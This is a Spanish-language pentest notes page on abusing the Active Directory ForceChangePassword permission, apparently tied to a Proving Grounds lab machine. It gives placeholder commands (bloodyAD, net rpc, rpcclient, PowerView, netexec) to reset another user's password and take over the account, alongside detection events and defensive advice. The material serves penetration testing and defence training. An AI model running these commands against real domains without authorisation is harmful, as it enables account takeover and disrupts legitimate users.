ForceChangePassword
ForceChangePassword es una ACE de Active Directory que autoriza a cambiar la contraseña de un usuario sin conocer la anterior. No la lee: la sobrescribe. Es una de las aristas más peligrosas que dibuja BloodHound porque es un atajo directo: si A tiene ForceChangePassword sobre B, A puede convertirse en B.
Es un caso típico del abuso de ACLs para pivotar entre cuentas. En términos de bajo nivel, es el Control Access Right User-Force-Change-Password (o WriteProperty sobre el atributo unicodePwd). BloodHound la representa como una flecha ForceChangePassword en el grafo.
Mecanismo
Desde Linux, cualquiera de estas herramientas resetea la contraseña de B usando las credenciales de A:
# bloodyAD (la mas limpia)
bloodyAD --host <dc> -d <domain> -u <A> -p <pw_A> set password <B> '<Nueva123!>'
# net rpc de Samba (funciona tambien con Pass-the-Hash: --pw-nt-hash)
net rpc password '<B>' '<Nueva123!>' -U '<domain>/<A>%<pw_A>' -S <dc>
# rpcclient a mano: setuserinfo2 <usuario> 23 <nueva>
rpcclient -U '<domain>/<A>%<pw_A>' <dc> -c "setuserinfo2 <B> 23 'Nueva123!'"Desde una máquina del dominio, PowerView lo hace con una PSCredential:
$sp = ConvertTo-SecureString 'Nueva123!' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('<domain>\<A>', (ConvertTo-SecureString '<pw_A>' -AsPlainText -Force))
Set-DomainUserPassword -Identity <B> -AccountPassword $sp -Credential $cred -VerboseVerificación. El cambio hay que confirmarlo, no darlo por hecho: un login inmediato prueba que la nueva contraseña vale y que la cuenta está habilitada.
netexec smb <dc> -u <B> -p 'Nueva123!' # busca (Pwn3d!) o un [+]Requisitos
La ACE ForceChangePassword de A sobre B (BloodHound la marca), alcance al DC por SMB/RPC/LDAP y una contraseña nueva que cumpla la política del dominio (longitud, complejidad, historial). No hace falta conocer la contraseña actual de B.
Matices. Es una escalada horizontal: sirve para saltar de A a B. Solo escala a Domain Admin si B ya lo era, o si B tiene aristas adicionales a alguien privilegiado. Cambiar la password es ruidoso, rompe el acceso legítimo del dueño y se loguea (4724 / 4738); en pentests reales, restaurar y avisar. Si se puede, la shadow credentials (escribir msDS-KeyCredentialLink) logra lo mismo sin romper la contraseña, cuando el ADCS lo permite.
Cómo detectarlo. El reset genera en el DC un Event ID 4724 (se intentó restablecer la contraseña de una cuenta) y un 4738 (se modificó una cuenta de usuario), donde el Subject (quien hace el cambio) y el Target (la víctima) no encajan con el flujo normal de un servicio de mesa de ayuda. La señal de alta fidelidad es que el sujeto sea una cuenta de usuario corriente, no una cuenta delegada de soporte, reseteando a un usuario con el que no tiene relación. Un login inmediato de la víctima desde una IP nueva (4624/4768) justo después del 4724 refuerza la sospecha.
Defensa. Mínimo privilegio: no delegar reset masivo a usuarios ordinarios. Auditar quién tiene ForceChangePassword sobre cuentas Tier-0/Tier-1 y habilitar Protected Users donde aplique. Conecta con el resto del abuso de ACLs y desemboca en la reutilización de credenciales.
Máquinas donde se aplica
- HokkaidoProving Grounds Practice